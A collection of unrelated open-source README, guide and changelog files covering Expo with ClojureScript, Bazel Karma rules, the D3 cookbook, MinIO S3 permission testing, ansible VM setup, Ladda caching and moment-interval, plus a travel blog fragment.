* Local beer in a touristy bar 150 - 300 baht (2 - 4 GBP)
* Local beer in a none touristy bar 90 - 150 baht (1 - 2 GBP)
* Taxi ride across the city < 100 baht (< 2 GBP)

So far so good. As a bonus being seven hours ahead of the UK is meaning I can get a lot of work done while the team in the UK is asleep so it's ready for them to test in the morning. Starting a little later means it's still possible to have enough crossover with the English working day that communication isn't a problem.

I'm expecting the Internet to become far poorer as I move out to the Islands, the dream is a moderately developed island with Bangkok style WiFi. I'm told this is unlikely!

{% include travel_footer.html %}

branch_name: refs/heads/source


text:
---
title: Using ClojureScript
old_permalink: /versions/v12.0.0/guides/using-clojurescript.html
previous___FILE: ./upgrading-expo.md
next___FILE: ./using-firebase.md
---

> **Note:** ClojureScript is not officially supported by the Expo team, this guide was written by [@tiensonqin](https://github.com/tiensonqin)!

## Quickstart

If you're already convinced about ClojureScript and Expo and know what to do once you have figwheel running, you can just read this section. Otherwise, we encourage you to read the entire guide.

```javascript
lein new expo your-project

cd your-project && yarn install

lein figwheel

# Now in a new tab, open the project in a simulator
expo start --ios
```

## Why ClojureScript?

- First-class immutable data structures
- Minimizing state and side-effects
- Practicality and pragmatism are always core values of ClojureScript
- Lisp!
- Great JavaScript interoperability

## Why on Expo?

It all begins with a [Simple Made Easy](https://www.infoq.com/presentations/Simple-Made-Easy) design choice: **you don't write native code**.

- You only write ClojureScript or JavaScript.
- You don't have to install or use Xcode or Android Studio or deal with any of the platform specific configuration and project files.
- Much easier to upgrade when there is no native code involved -- React Native JavaScript APIs are relatively stable compared to the native side. Expo will take care of upgrading the native modules and React Native versions, you only need to upgrade your ClojureScript or JavaScript code.
- You can write iOS apps on Linux or Windows (provided that you have an iPhone to test it with).
- It's dead simple to continually share your apps. Once you published your app, you got a link. It is up to you to share the link.

## 1. Create an Expo project

```javascript
# Default to use Reagent / Re-frame
lein new expo your-project

# Or Om Next
lein new expo your-project +om

cd your-project && yarn install
```

## 2. Connect to a REPL

### CLI REPL

```javascript
lein figwheel
```

### Emacs REPL

1.  Invoke cider-jack-in.
2.  Run `(start-figwheel)` in the connected REPL.

### [Cursive](https://cursive-ide.com/) REPL

The first time you connect to the repl, you'll need to create a Leiningen nREPL Configuration unless you have one already.

1.  Click `Run->Edit` configurations.
2.  Click the `+` button at the top left and choose Clojure REPL.
3.  Choose a `Local REPL`.
4.  Enter a name in the Name field (e.g. "REPL").
5.  Choose the radio button `Use nREPL with Leiningen`.
6.  Click the `OK` button to save your REPL config.

Once this is done, you can connect to the REPL.

In Intellij make sure your REPL config is selected and click the green **play** button to start your REPL.

Run `(start-figwheel)` in the connected REPL.

## 3. Start Expo server

### Using Expo CLI

```javascript
# Install Expo CLI if you have not already
npm install -g expo-cli

# Connect to iOS simulator
expo start --ios

# Or connect to Android devices or simulators
expo start --android
```

For more information, see [Expo CLI](../workflow/expo-cli.md).

## 4. Publish your app

```javascript
# Generate main.js
lein prod-build

expo publish
```

This will publish your app to a persistent URL on Expo, for example: <https://expo.io/@community/startr>

## FAQ

### How do I add custom native modules?

See [How do I add custom native code to my Expo project?](../introduction/faq.md#faq).

### Does it support Google Closure advanced compilation?

It's still experimental, but it already works for multiple projects.

### Does it support source maps?

Yes.

### Can I use npm modules?

React Native uses JavascriptCore, so modules using built-in node like stream, fs, etc wont work. Otherwise, you can just require like: `(js/require "SomeModule")`.

### Do I need to restart the REPL after adding new Javascript modules or assets?

No, you do need to reload Javascript. To do that, select **Reload** from the Developer Menu. You can also press `⌘ + R` in the iOS Simulator, or press `R` twice on Android emulators.

### Will it support Boot?

Not currently, but we are working on it.

repository: topnotchgangbanging/expo

gha_license_id: NOASSERTION

repo_name: topnotchgangbanging/expo


text:
#Data Visualization with D3 4.x Cookbook - Second Edition
This is the code repository for [Data Visualization with D3 4.x Cookbook - Second Edition](https://www.packtpub.com/web-development/data-visualization-d3-4x-cookbook-second-edition?utm_source=github&utm_medium=repository&utm_campaign=9781786468253), published by [Packt](https://www.packtpub.com/?utm_source=github). It contains all the supporting project files necessary to work through the book from start to finish.
## About the Book
This book gives you all the guidance you need to start creating modern data visualizations with D3 4.x that take advantage of the latest capabilities of JavaScript.

The book starts with the basic D3 structure and building blocks and quickly moves on to writing idiomatic D3-style JavaScript code. You will learn how to work with selection to target certain visual elements on the page, then you will see techniques to represent data both in programming constructs and its visual metaphor. You will learn how map values in your data domain to the visual domain using scales, and use the various shape functions supported by D3 to create SVG shapes in visualizations.

##Instructions and Navigation
All of the code is organized into folders. Each folder starts with a number followed by the application name. For example, Chapter02.

The code will look like the following:
```
var timeFormat = d3.time.format.iso;
var data = crossfilter(json); // <-A
var hours = data.dimension(function(d){
return d3.time.hour(timeFormat.parse(d.date)); // <-B
});
```

A text editor to edit and create HTML, CSS. and JavaScript files.
A modern web browser (Firefox 3, IE 9, Chrome, Safari 3.2, and later)
A local HTTP server to host data file for some of the more advanced recipes in this book.
We will cover how to set up a Node-based or Python-based simple HTTP server in the first chapter.
Optionally, you will need a Git client if you would like to check out the recipe source code directly from our Git repository.

##Related Products
* [Building Responsive Data Visualizations with D3.js [Video]](https://www.packtpub.com/web-development/building-responsive-data-visualizations-d3js-video?utm_source=github&utm_medium=repository&utm_campaign=9781784394509)

* [Rapid D3.js [Video]](https://www.packtpub.com/web-development/rapid-d3js-video?utm_source=github&utm_medium=repository&utm_campaign=9781783554416)

* [Mastering D3.js [Video]](https://www.packtpub.com/web-development/mastering-d3js-video?utm_source=github&utm_medium=repository&utm_campaign=9781783985784)

###Suggestions and Feedback
[Click here](https://docs.google.com/forms/d/e/1FAIpQLSe5qwunkGf6PUvzPirPDtuy1Du5Rlzew23UBp2S-P3wB-GcwQ/viewform) if you have any feedback or suggestions.
### Download a free PDF

 If you have already purchased a print or Kindle version of this book, you can get a DRM-free PDF version at no cost.
Simply click on the link to claim your free PDF.

 https://packt.link/free-ebook/9781782162162


text:
Running CCSM
============

Command Line Structure
----------------------

CCSM is run from the command line, in the same way that many compilers are.
This means that it should be relatively simple to integrate it into most build
systems, such as those based on Makefiles.

The commandline has several parts:

    ccsm --ccsm-options-here file1.c file2.c -- --compiler-options-here

1.  `ccsm` - used to run CCSM!
2.  `--ccsm-options-here` - this part of the command line is used to specify
    options which control CCSM's behaviour, such as changing the output format.
    A complete list of options can be seen by using `ccsm --help` from the
    command line
3.  `file1.c file2.c` - these are the files to be analysed.  Note that the
    ordering of parts 2 and 3 is not significant - files may be specified
    before CCSM options.
4.  `--` - separates the compiler options (see next) from the rest of the
    command line
5.  `--compiler-options-here` - these options are those normally used during the
    compilation of the code, such as setting include paths or defining
    pre-processor symbols.  Note that the options here are those which are
    understood by [Clang](http://clang.llvm.org/docs/UsersManual.html), which
    are broadly compatible with GCC and Microsoft compilers.  However, you may
    need to adjust the format of the options in this section from those which
    you usually use.

Example
-------

An example invocation is:

    ccsm --output-format=sparsetree example1.c -- -I../externals/c_headers/include

Header Files
------------

Many compilers supply standard header files (e.g. `stdlib.h`) which include
compiler-specific extensions which cannot easily be processed by CCSM.  In order
to work around this, the [C headers repository](https://github.com/bright-tools/c_headers) aims to provide a 'clean' set of standard headers which can be used during code analysis.  Generally it's not interesting to include the standard library headers in the analysis, so this should not have a discernable effect on the results of the metrics.

repository: bright-tools/ccsm

repo_name: bright-tools/ccsm


text:
---
title: Karma
layout: default
stylesheet: docs
---
# Karma rules for Bazel

**WARNING: this is beta-quality software. Breaking changes are likely. Not recommended for production use without expert support.**

The Karma rules run karma tests with Bazel.

## Installation

Add the `@bazel/karma` npm package to your `devDependencies` in `package.json`.

Your `WORKSPACE` should declare a `yarn_install` or `npm_install` rule named `npm`.
It should then install the rules found in the npm packages using the `install_bazel_dependencies' function.
See https://github.com/bazelbuild/rules_nodejs/#quickstart

This causes the `@bazel/karma` package to be installed as a Bazel workspace named `npm_bazel_karma`.

Now add this to your `WORKSPACE` to install the Karma dependencies:

```python
# Fetch transitive Bazel dependencies of npm_bazel_karma
load("@npm_bazel_karma//:package.bzl", "rules_karma_dependencies")
rules_karma_dependencies()
```

This installs the `io_bazel_rules_webtesting` repository, if you haven't installed it earlier.

Finally, configure the rules_webtesting:

```python
# Set up web testing, choose browsers we can test on
load("@io_bazel_rules_webtesting//web:repositories.bzl", "browser_repositories", "web_test_repositories")

web_test_repositories()
browser_repositories(
    chromium = True,
)
```

## Installing with self-managed dependencies

If you didn't use the `yarn_install` or `npm_install` rule to create an `npm` workspace, you'll have to declare a rule in your root `BUILD.bazel` file to execute karma:

```python
# Create a karma rule to use in ts_web_test_suite karma
# attribute when using self-managed dependencies
nodejs_binary(
    name = "karma/karma",
    entry_point = "//:node_modules/karma/bin/karma",
    # Point bazel to your node_modules to find the entry point
    node_modules = ["//:node_modules"],
)
```

[name]: https://bazel.build/docs/build-ref.html#name
[label]: https://bazel.build/docs/build-ref.html#labels
[labels]: https://bazel.build/docs/build-ref.html#labels

## karma_web_test

Runs unit tests in a browser with Karma.

When executed under `bazel test`, this uses a headless browser for speed.
This is also because `bazel test` allows multiple targets to be tested together,
and we don't want to open a Chrome window on your machine for each one. Also,
under `bazel test` the test will execute and immediately terminate.

Running under `ibazel test` gives you a "watch mode" for your tests. The rule is
optimized for this case - the test runner server will stay running and just
re-serve the up-to-date JavaScript source bundle.

To debug a single test target, run it with `bazel run` instead. This will open a
browser window on your computer. Also you can use any other browser by opening
the URL printed when the test starts up. The test will remain running until you
cancel the `bazel run` command.

This rule will use your system Chrome by default. In the default case, your
environment must specify CHROME_BIN so that the rule will know which Chrome binary to run.
Other `browsers` and `customLaunchers` may be set using the a base Karma configuration
specified in the `config_file` attribute.

### Usage

```
karma_web_test(srcs, deps, data, configuration_env_vars, bootstrap, runtime_deps, static_files, config_file, tags, kwargs)
```

#### `srcs`

A list of JavaScript test files

Defaults to `[]`

#### `deps`

Other targets which produce JavaScript such as `ts_library`

Defaults to `[]`

#### `data`

Runtime dependencies

Defaults to `[]`

#### `configuration_env_vars`

Pass these configuration environment variables to the resulting binary.
    Chooses a subset of the configuration environment variables (taken from ctx.var), which also
    includes anything specified via the --define flag.
    Note, this can lead to different outputs produced by this rule.

Defaults to `[]`

#### `bootstrap`

JavaScript files to include *before* the module loader (require.js).
    For example, you can include Reflect,js for TypeScript decorator metadata reflection,
    or UMD bundles for third-party libraries.

Defaults to `[]`

#### `runtime_deps`

Dependencies which should be loaded after the module loader but before the srcs and deps.
    These should be a list of targets which produce JavaScript such as `ts_library`.
    The files will be loaded in the same order they are declared by that rule.

Defaults to `[]`

#### `static_files`

Arbitrary files which are available to be served on request.
    Files are served at:
    `/base/<WORKSPACE_NAME>/<path-to-file>`, e.g.
    `/base/npm_bazel_typescript/examples/testing/static_script.js`

Defaults to `[]`

#### `config_file`

User supplied Karma configuration file. Bazel will override
    certain attributes of this configuration file. Attributes that are
    overridden will be outputted to the test log.

Defaults to `None`

#### `tags`

Standard Bazel tags, this macro adds tags for ibazel support

Defaults to `[]`

#### `kwargs`

Passed through to `karma_web_test`

## karma_web_test_suite

Defines a test_suite of web_test targets that wrap a karma_web_test target.

This macro also accepts all parameters in karma_web_test. See karma_web_test docs
for details.

### Usage

```
karma_web_test_suite(name, browsers, args, browser_overrides, config, flaky, local, shard_count, size, tags, test_suite_tags, timeout, visibility, web_test_data, wrapped_test_tags, remaining_keyword_args)
```

#### `name`

The base name of the test

#### `browsers`

A sequence of labels specifying the browsers to use.

Defaults to `None`

#### `args`

Args for web_test targets generated by this extension.

Defaults to `None`

#### `browser_overrides`

Dictionary; optional; default is an empty dictionary. A
  dictionary mapping from browser names to browser-specific web_test
  attributes, such as shard_count, flakiness, timeout, etc. For example:
  ```
  {
      '//browsers:chrome-native': {'shard_count': 3, 'flaky': 1},
      '//browsers:firefox-native': {'shard_count': 1, 'timeout': 100},
  }
  ```

Defaults to `None`

#### `config`

Label; optional; Configuration of web test features.

Defaults to `None`

#### `flaky`

A boolean specifying that the test is flaky. If set, the test will
  be retried up to 3 times (default: 0)

Defaults to `None`

#### `local`

boolean; optional.

Defaults to `None`

#### `shard_count`

The number of test shards to use per browser. (default: 1)

Defaults to `None`

#### `size`

A string specifying the test size. (default: 'large')

Defaults to `None`

#### `tags`

A list of test tag strings to apply to each generated web_test target.
  This macro adds a couple for ibazel.

Defaults to `[]`

#### `test_suite_tags`

A list of tag strings for the generated test_suite.

Defaults to `None`

#### `timeout`

A string specifying the test timeout (default: computed from size)

Defaults to `None`

#### `visibility`

List of labels; optional.

Defaults to `None`

#### `web_test_data`

Data dependencies for the web_test.

Defaults to `[]`

#### `wrapped_test_tags`

A list of test tag strings to use for the wrapped test

Defaults to `None`

#### `remaining_keyword_args`

Arguments for the wrapped test target.

## ts_web_test

Runs unit tests in a browser.

When executed under `bazel test`, this uses a headless browser for speed.
This is also because `bazel test` allows multiple targets to be tested together,
and we don't want to open a Chrome window on your machine for each one. Also,
under `bazel test` the test will execute and immediately terminate.

Running under `ibazel test` gives you a "watch mode" for your tests. The rule is
optimized for this case - the test runner server will stay running and just
re-serve the up-to-date JavaScript source bundle.

To debug a single test target, run it with `bazel run` instead. This will open a
browser window on your computer. Also you can use any other browser by opening
the URL printed when the test starts up. The test will remain running until you
cancel the `bazel run` command.

This rule will use your system Chrome. Your environment must specify CHROME_BIN
so that the rule will know which Chrome binary to run.

Currently this rule uses Karma as the test runner under the hood, but this is
an implementation detail. We might switch to another runner like Jest in the future.

### Usage

```
ts_web_test(srcs, deps, data, configuration_env_vars, bootstrap, runtime_deps, static_files, tags, kwargs)
```

#### `srcs`

A list of JavaScript test files

Defaults to `[]`

#### `deps`

Other targets which produce JavaScript such as `ts_library`

Defaults to `[]`

#### `data`

Runtime dependencies

Defaults to `[]`

#### `configuration_env_vars`

Pass these configuration environment variables to the resulting binary.
    Chooses a subset of the configuration environment variables (taken from ctx.var), which also
    includes anything specified via the --define flag.
    Note, this can lead to different outputs produced by this rule.

Defaults to `[]`

#### `bootstrap`

JavaScript files to include *before* the module loader (require.js).
    For example, you can include Reflect,js for TypeScript decorator metadata reflection,
    or UMD bundles for third-party libraries.

Defaults to `[]`

#### `runtime_deps`

Dependencies which should be loaded after the module loader but before the srcs and deps.
    These should be a list of targets which produce JavaScript such as `ts_library`.
    The files will be loaded in the same order they are declared by that rule.

Defaults to `[]`

#### `static_files`

Arbitrary files which are available to be served on request.
    Files are served at:
    `/base/<WORKSPACE_NAME>/<path-to-file>`, e.g.
    `/base/npm_bazel_typescript/examples/testing/static_script.js`

Defaults to `[]`

#### `tags`

Standard Bazel tags, this macro adds tags for ibazel support as well as
    `browser:chromium-system` to allow for filtering on systems with no
    system Chrome.

Defaults to `[]`

#### `kwargs`

Passed through to `ts_web_test`

## ts_web_test_suite

Defines a test_suite of web_test targets that wrap a ts_web_test target.

This macro also accepts all parameters in ts_web_test. See ts_web_test docs for
details.

### Usage

```
ts_web_test_suite(name, browsers, args, browser_overrides, config, flaky, local, shard_count, size, tags, test_suite_tags, timeout, visibility, web_test_data, wrapped_test_tags, remaining_keyword_args)
```

#### `name`

The base name of the test.

#### `browsers`

A sequence of labels specifying the browsers to use.

Defaults to `None`

#### `args`

Args for web_test targets generated by this extension.

Defaults to `None`

#### `browser_overrides`

Dictionary; optional; default is an empty dictionary. A
  dictionary mapping from browser names to browser-specific web_test
  attributes, such as shard_count, flakiness, timeout, etc. For example:
  {'//browsers:chrome-native': {'shard_count': 3, 'flaky': 1}
   '//browsers:firefox-native': {'shard_count': 1, 'timeout': 100}}.

Defaults to `None`

#### `config`

Label; optional; Configuration of web test features.

Defaults to `None`

#### `flaky`

A boolean specifying that the test is flaky. If set, the test will
  be retried up to 3 times (default: 0)

Defaults to `None`

#### `local`

boolean; optional.

Defaults to `None`

#### `shard_count`

The number of test shards to use per browser. (default: 1)

Defaults to `None`

#### `size`

A string specifying the test size. (default: 'large')

Defaults to `None`

#### `tags`

A list of test tag strings to apply to each generated web_test_suite target.
  This macro adds a couple for ibazel.

Defaults to `[]`

#### `test_suite_tags`

A list of tag strings for the generated test_suite.

Defaults to `None`

#### `timeout`

A string specifying the test timeout (default: computed from size)

Defaults to `None`

#### `visibility`

List of labels; optional.

Defaults to `None`

#### `web_test_data`

Data dependencies for the web_test_suite.

Defaults to `[]`

#### `wrapped_test_tags`

A list of test tag strings to use for the wrapped test

Defaults to `None`

#### `remaining_keyword_args`

Arguments for the wrapped test target.


text:
## [Unreleased]

### Housekeeping

- infrastructure 0.8.2 -> 0.11
- detekt 1.16.0 -> 1.17.1
- Kotlin 1.4.30 -> 1.5.21
- Gradle 6.8.3 -> 7.1.1

## [2.0] (2021-05-01)

### ReactiveMap refactored

`ReactiveMap` renamed to `ReactiveMutableMap`.
There are two type parameters `K` (for keys), `V` (for values) instead of one `T` (for values), so you can use keys with a type different from `String`.

Now `ReactiveMutableMap` implements interface `MutableMap`.
Also, you can wrap `Map` with `ReactiveMutableMap`, using constructor.

#### Naming changes

> Old versions of methods are marked with `@Deprecated` to help migrate to new naming.

Methods `getAll` replaced with field `values` to match `Map` interface.

Word `stream` in methods names replaced with implementation-specific words to make API clearer.

Coroutines:
- `getStream` -> `getFlow` and `getValueFlow`
- `getAllStream` -> `valuesFlow`
- New field `flow` with the whole map

RxJava:
- `getStream` -> `getValueObservable`
- `getAllStream` -> `valuesObservable`
- New field `observable` with the whole map

### KAPT: 'IllegalStateException: Couldn't find declaration file' on delegate with inline getValue operator

There is a bug in Kotlin Compiler that affects MapMemory if you create subclasses - [KT-46317](https://youtrack.jetbrains.com/issue/KT-46317).
You can use module `mapmemory-kapt-bug-workaround` as a workaround:

```kotlin
dependencies {
    implementation("com.redmadrobot.mapmemory:mapmemory-kapt-bug-workaround:[latest-version]")
}
```

```diff
- val someValue: String by memory
+ val someValue: String by memory.value()
```

## [2.0-rc1] (2021-03-14)

### Scoped and shared values (#1)

Now there are two types of memory values: scoped (to class) and shared.

All memory values by default are scoped to the class where it's declared.
Scoping prevents from unintended sharing of properties with the same name between classes.
This snippet demonstrates the problem:

```kotlin
package com.example

class StringsStorage(memory: MapMemory) {
    var values: MutableList<String> by memory.list()
}

class IntsStorage(memory: MapMemory) {
    var values: MutableList<Int> by memory.list() // The same field name as in StringsStorage
}

val strings = StringsStorage(memory)
val ints = IntsStorage(memory)

strings.values.add("A")
ints.values.add(1)

println(memory)
```

Output:

```
For unscoped fields (old behaviour):
{values: [A, 1]}

For scoped fields (new behavior):
{com.example.StringsStorage#values: [A], com.example.IntsStorage#values: [1]}
```

You can make memory field **shared** using extension `shared(key: String)`:

```kotlin
// It is recommended to create constants for shared properties keys
const val KEY_SERVER_HOST = "serverHost"

class ServerConfig(memory: MapMemory) {
    var host: String by memory.shared(KEY_SERVER_HOST)
}

class DebugPanelConfig(memory: MapMemory) {
    var serverHost: String by memory.shared(KEY_SERVER_HOST)
}
```

### Removed `.nullable()` and `.withDefault { ... }`

Accessor `nullable()` is not needed now.
You can just declare a nullable field:
```diff
-val selectedOption: String? by memory.nullable()
+val selectedOption: String? by memory
```

`withDefault` is no more compatible with MapMemory, so you should use the operator `invoke` instead:
```diff
-var counter: Int by memory.withDefault { 0 }
+var counter: Int by memory { 0 }
```

### Mutable collections accessors
> **BREAKING CHANGE**

Now accessors `map` and `list` return delegates to access immutable collections.
You should use `mutableMap` and `mutableList` for mutable versions of collections.

### Added

- Copying constructor for `MapMemory`.
  Now you can initialize memory with specified content on creation.
- New module `mapmemory-test`.
  Contains utilities helping to test code that uses `MapMemory`.
- New module `mapmemory-rxjava3` with accessors for RxJava3.

### Changed

- `MapMemory` now is `MutableMap<String, Any>` instead of `MutableMap<String, Any?>`.
  It is made to prevent NPEs because `ConcurrentHashMap` not supports nullable values.
  You still can store nullable values in memory using a delegate.

## [1.1] (2021-02-26)

### Added

- Method `ReactiveMap.getValue` (#2)

### Changed

- ReactiveMap constructor now is public (#4)

### Housekeeping

- Updated Kotlin to 1.4.30
- Updated Gradle to 6.8
- Updated Detekt to 1.15.0
- Migrated from JCenter to Maven Central (#5)

## 1.0

Public release

[unreleased]: https://github.com/RedMadRobot/mapmemory/compare/v2.0...main
[2.0]: https://github.com/RedMadRobot/mapmemory/compare/v2.0-rc1..v2.0
[2.0-rc1]: https://github.com/RedMadRobot/mapmemory/compare/v1.1...v2.0-rc1
[1.1]: https://github.com/RedMadRobot/mapmemory/compare/v1.0...v1.1

repository: morristech/mapmemory

branch_name: refs/heads/main

repo_name: morristech/mapmemory


text:
# Learning from Sibling Mentions with Scalable Graph Inference in Fine-Grained Entity Typing

```
@inproceedings{sgifget_acl22,
title = {Learning from Sibling Mentions with Scalable Graph Inference in Fine-Grained Entity Typing},
author = {Chen, Yi and Cheng, Jiayang and Jiang, Haiyun and Liu, Lemao and Zhang, Haisong and Shi, Shuming and Xu, Ruifeng},
booktitle = {Proceedings of the 60th Annual Meeting of the Association for Computational Linguistics (Volume 1: Long Papers) (ACL)},
pages = {2076--2087},
year = {2022}
}
```

links
- [aclweb](https://www.aclweb.org/anthology/2022.acl-long.147/)

gha_language: Jupyter Notebook


text:
# Update - I am not maintaining this project so if you have any problem please fork this project and try solving it yourselves.

# Yahoo Finance Python API

Due to rampant deprecation of all the stocks api like pandas_datareader etc, i have to created my own based on the yahoo api v8

The best thing about this api is that it support **Intraday Data** upto 1 minute granularity which a lots of free api doesn't support

## Usage

This command returns a dataframe which can be further modified to add new columns , exported to excel etc

``` python
tata_power = YahooFinance('TATAPOWER.NS', result_range='1mo', interval='15m', dropna='True').result
```

### Demo
![Alt Text](/res/demo.gif)

## Installation

``` bash
git clone https://github.com/mayankwadhwa/yahoo_finance_api.git
cd yahoo_finance_api
python setup.py install
```

### Requirements

- Pandas
- Request

### Note

Make sure to use TICKER symbol from yahoo finance website
https://in.finance.yahoo.com/


text:
# S3 Access Testing
## Overview
Quick and easy way to test out whether your app/job has the correct permissions and configuration to access objects in S3.
Can also be tested out with proxy being setup.

## How to run
### Start Minio
```shell
./env/start_minio.sh
```

### Create custom user
1. Alter [custom.json](env/policy/custom.json) to desired AWS policy
      1. [For complete list of AWS S3 actions, can view this page](https://docs.aws.amazon.com/AmazonS3/latest/API/API_Operations.html)
1. Run `./env/create_new_minio_user.sh`

### Upload sample file
1. Can do via browser
    1. Login to [localhost:9000](localhost:9000) with `minio:minio123`
    1. Upload [README.md](README.md) into `secret-bucket`
1. Via AWS CLI
```shell
export AWS_ACCESS_KEY_ID=minio
export AWS_SECRET_ACCESS_KEY=minio123
aws s3 ls --endpoint-url=http://localhost:9000
aws s3 cp README.md s3://secret-bucket/README.md --endpoint-url=http://localhost:9000
aws s3 ls s3://secret-bucket/ --endpoint-url=http://localhost:9000
```

### Run task
Can run with the newly created user to attempt to get the README from Minio
[SparkTaskExecutor](src/main/scala/com/pflooky/github/spark/SparkTaskExecutor.scala)
Can try to alter the S3 configurations inside the SparkTaskExecutor to desired configuration.
[For reference, can look up all the various configuration options here](https://hadoop.apache.org/docs/stable/hadoop-aws/tools/hadoop-aws/index.html)

repository: pflooky/medium-examples

repo_name: pflooky/medium-examples


text:
## 0.2.3 (2016-03-10)

Upgrade typings:

- Express update 4.x
- Created interface Express
- Update LoDash / object -> zipObject, any -> some, contains -> includes

## 0.2.2 (2016-03-09)

Change for TSFramework:

- Change TF for TS module name ...
- Change documentation
- Change repository
- Upgrade dependencias NPM

## 0.2.1 (2014-08-23)

Bug Fixes:

- Fix bug where models share the same waterline collection attributes.

## 0.2.0 (2014-08-17)

Bug Fixes:

- REST api `destroy` action should return the deleted object.

Features:

- Support `after` and `around` action filters.
- Call `configure` static methods for Model and Controller if defined when adding to application.
- Completed `node.d.ts` TypeScript declaration file for NodeJS.

Breaking Changes:

- Disallow passing app declaration file to `Application` constructor. Use `addDeclaration` method instead.
- Use `Reply` interface instead of `Response` object to send data to user.
- Remove `paths` config.
- Add `view`, `assetPath` configs.

repository: tsframework/ts-framework

gha_language: TypeScript

repo_name: tsframework/ts-framework


text:
# Introduction
This ansible playbook sets up libvirt and configures VM for nested KVM

## Running
This will setup the hypervisor host and also create VM
```sh
ansible-playbook -i inventory/hosts.yaml playbook/main.yaml
```

Currently this is tested only on Fedora 31 host. By default a fedora-32 and ubuntu-20.04 VM gets provisioned. The default fedora VM user is `fedora` and password is `passw0rd`. Similarly the default ubuntu VM user is `ubuntu` and password is `passw0rd`

## Creating VM
If you already have the hypervisor host setup, then run the following to just create a VM.
Ensure you modify the [variables](https://github.com/bpradipt/infra/blob/master/kata-nested-vm-host/ansible/inventory/group_vars/hypervisors/00_shared_vars) accordingly
```sh
ansible-playbook -i inventory/hosts.yaml playbook/vm.yaml
```

Alternatively update `examples/vm_vars.yaml` and use it
```sh
cp examples/vm_vars.yaml vm_vars.yaml
ansible-playbook -i inventory/hosts.yaml -e @vm_vars.yaml playbook/vm.yaml
```

## Deleting VM
```sh
ansible-playbook -i inventory/hosts.yaml playbook/delete_vm.yaml
```

Alternative if using custom vars file then run this
```sh
ansible-playbook -i inventory/hosts.yaml -e @vm_vars.yaml playbook/delete_vm.yaml
```

repository: fidencio/infra

repo_name: fidencio/infra


text:
# Invalidation

Ladda caches the value returned by ApiFunctions with the operation `READ`. By default the cache lives as long as specified as TTL (default 300 seconds). But sometimes you will need to clear the caches before the TTL has expired. This is called invalidation. There are two places where you can configure invalidation. On an entity and on a ApiFunction. Normally you will only need to specify it on the entity.

## Cache Invalidation on Entity

It is not uncommon that entities are related in some way. For instance, if you are developing a game you might have a top list. After finishing a game you know that this top list will be updated. Not directly by you, but by your backend as a consequence of you finishing a game. In this case you want to invalidate the currently cached top list, because you know it might have changed. Ladda makes this easy. The configuration would look something like this:

```javascript
const config = {
    topList: {
        ttl: 3600,
        api: topListApi
    },
    game: {
        api: gameApi,
        invalidates: ['topList']
    }
};
```

When you would call for example `api.game.reportFinished(finishedGame)`, Ladda would automatically invalidate the topList for you.

You also have the ability to make you invalidation a bit more fine-grained. There's a `invalidatesOn` option which allows you to specify on which operation to invalidate the specified entities. For example, it could look like:

```javascript
const config = {
    topList: {
        ttl: 3600,
        api: topListApi
    },
    game: {
        ttl: 300,
        api: gameApi,
        invalidates: ['topList'],
        invalidatesOn: ['UPDATE'] // Default: ['CREATE', 'UPDATE', 'DELETE', 'COMMAND']
    }
};
```

In addition to the normal CRUD operations, you can specify `invalidatesOn: ['NO_OPERATION']` which allows you to invalidate other entities' caches even if you don't use Ladda to cache the ApiFunction (If no operation is specified on a ApiFunction, Ladda will leave the function alone and not cache it nor update any cache). If necessary, you can also specify invalidation directly on ApiFunctions.

## Cache Invalidation on ApiFunction

Sometimes you will need to invalidate just another ApiFunction's cache. This can be achieved by specifying `invalidates` on a ApiFunction. It might look like this:

```javascript
recalculateTopPlayers.invalidates = ['getTopPlayers'];
function recalculateTopPlayers() {
    return performPostRequst('/api/players/top/recalculate');
}

getTopPlayers.operation = 'READ';
function getTopPlayers() {
    return performGetRequest('/api/players/top');
}

getAllPlayers.operation = 'READ';
function getAllPlayers() {
    return performGetRequest('/api/players');
}
```

Calling `recalculateTopPlayers` would invalidate `getTopPlayers`, so you would get the new top players next time you call `getTopPlayers`. However, `getAllPlayers` would still keep its cache. Note that you can only invalidate other ApiFunctions within the same Api (/in the same entity).

repository: ladda-js/ladda

repo_name: ladda-js/ladda


text:
# An introduction to the tidymodels package
Date: Thursday January 28th, 2021

Time: 12.00pm WET

Event URL: https://young-istat.github.io/webinars/posts/2021-01-21-webinar3/

Speaker
Bruna Wundervald from School of Mathematics, National University of Ireland, Maynooth.

Abstract
In times of a rich availability of different packages and software for machine learning, it is not always easy to know which ones are the best to use. In an attempt to provide a unified grammar for machine learning in R, the tidymodels is a group of packages specifically designed to perform modelling tasks and to perfectly integrate with the tidyverse ecosystem at the same time. In this talk, I will give an introduction to its main packages, showing how they can be used for the pre-processing of data, and training and validation of machine learning models.

Talk slides at [this link](http://brunaw.com/tidymodels-webinar/slides/slides.html

repository: brunaw/tidymodels-webinar

repo_name: brunaw/tidymodels-webinar


text:
moment-interval
===============
This plugin provides time intervals for [Moment.js][moment]. It also adds support for [ISO 8601][iso8601] duration expressions.

Creating a time interval
------------------------

A time interval is defined by a **start time**, an **end time**, and a **period** representing the amount of time between start and end.

When creating a time interval you can specify the time window in _absolute_ terms, like **start** and **end** time, or using a combination of absolute and _relative_ values, like **start** and **period**, or **period** and **end**.

So, for example, you could create a time interval between _April 2013_ and _May 2013_. The period here would be of _1 month_. Or you could create a time interval starting at _May 1st, 2013_ and ending a _week later_. The end date would be _May 8th, 2013_.

moment-interval adds methods to the `moment` object, as well as `Moment` and `Duration` instances, to let you do this along some other common time handling tasks.

### `Interval` moment.interval(String)

Creates an Interval instance by specifying a string in the form of [ISO 8601 time interval expression][iso8601i]:

`start-date or period/end-date or period`

If you leave a blank date at one of the sides, the current date will be used. You can't have both sides of the interval neither as blank or period.

    // using dates in both ends
    var fromMarchToApril = moment.interval('2013-03-01/2013-04-01');

    // using a start date and a period
    var oneYearSinceApril2012 = moment.interval('2012-03-01/P1Y');

    // using a period and an end date
    var twentyEightDaysLater = moment.interval('/P28D')

    // using a period and the current date
    var oneHundredTwentySevenHoursBefore = moment.interval('P127H/')

    // invalid usage
    var voidTime = moment.interval('/');                // invalid!
    var relativitySucks = moment.interval('P1D/PT8H');  // invalid!

### `Interval` moment.interval(Moment, Duration)

Creates an Interval instance starting at _Moment_ and ending at _Moment+Duration_.

    // March 1st, 2013 to March 2nd, 2013
    moment.interval(moment('2013-03-01'), moment.duration(1, 'day'));

### `Interval` moment.interval(Duration, Moment)

Returns an Interval instance starting at _Moment-Duration_ and ending at _Moment_.

    // December 24th, 16:00 to December 25th, 00:00
    moment.interval(moment.duration(8, 'hours'), moment('2013-12-25'));

### `Interval` moment.interval(Moment, Moment)

